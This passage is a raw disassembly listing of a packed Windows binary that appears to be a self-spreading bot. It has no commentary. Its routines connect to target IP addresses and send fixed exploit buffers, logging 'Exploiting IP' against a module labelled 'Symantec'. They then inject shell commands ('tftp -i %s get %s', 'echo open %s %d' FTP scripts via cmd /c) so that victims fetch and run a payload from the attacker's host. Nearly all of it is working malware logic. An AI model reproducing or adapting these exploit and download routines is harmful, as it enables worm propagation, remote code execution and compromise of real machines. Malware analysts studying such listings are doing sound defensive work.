		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: .packed:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: .packed:0040E005j
		push	dword ptr [ebp-4]
		call	dword_427070	; CloseHandle
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: .packed:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	dword_4270EC	; ReadFile
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_427070	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: .packed:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA64	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9E4	; htons
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: .packed:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: .packed:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: .packed:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_43242C
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC	; recv
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: .packed:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC	; recv
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: .packed:0040E162j
					; .packed:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: .packed:0040E14Aj
		call	dword_4CBA7C	; closesocket


loc_40E1CA:				; CODE XREF: .packed:0040DF7Dj
					; .packed:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: .packed:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket


loc_40E1DE:				; CODE XREF: .packed:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: .packed:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		call	dword_427080	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: .packed:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: .packed:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40E28A:				; CODE XREF: .packed:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: .packed:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_433298
		push	eax
		call	dword_4CB9E4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA64	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		mov	edi, offset byte_429110
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB720
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		call	dword_427080	; Sleep
		push	edi
		push	offset dword_42A2F0
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		push	ebx
		call	dword_4CBA7C	; closesocket
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: .packed:0040E946p
					; .packed:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_433424
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433428
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433418
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA8
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433298
		add	esp, 2Ch
		push	eax
		call	dword_4CB9E4	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA8
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D8[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF8
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433410
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF8
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D8
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC	; recv
		push	ebx
		push	68h
		push	offset dword_432F0C
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC	; recv
		push	ebx
		push	0A0h
		push	offset dword_432F78
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433130
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_43319C
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433210
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_43301C
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_43309C
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		call	dword_427080	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA24	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9E4	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA64	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C90
		push	ebx
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		push	edi
		push	0A8h
		push	offset dword_432D1C
		push	ebx
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		push	edi
		push	0DEh
		push	offset dword_432DC8
		push	ebx
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: .packed:0040E884j
					; .packed:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: .packed:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: .packed:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: .packed:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: .packed:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: .packed:0040E975j
		push	ebx
		call	dword_4CBA7C	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40E9F3:				; CODE XREF: .packed:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: .packed:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4271F0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4271F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4271F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429110
		push	eax
		push	eax
		push	dword_4CB720
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_427208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_427200	; closesocket
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: .packed:off_431804o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA24	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9E4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427204	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4271F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_43342C
		push	esi
		call	dword_427208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		call	dword_427200	; closesocket


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		call	dword_427200	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: .packed:0040EC93p
					; .packed:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9FC	; recv
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: .packed:0040ECDFp
					; .packed:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346E4
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
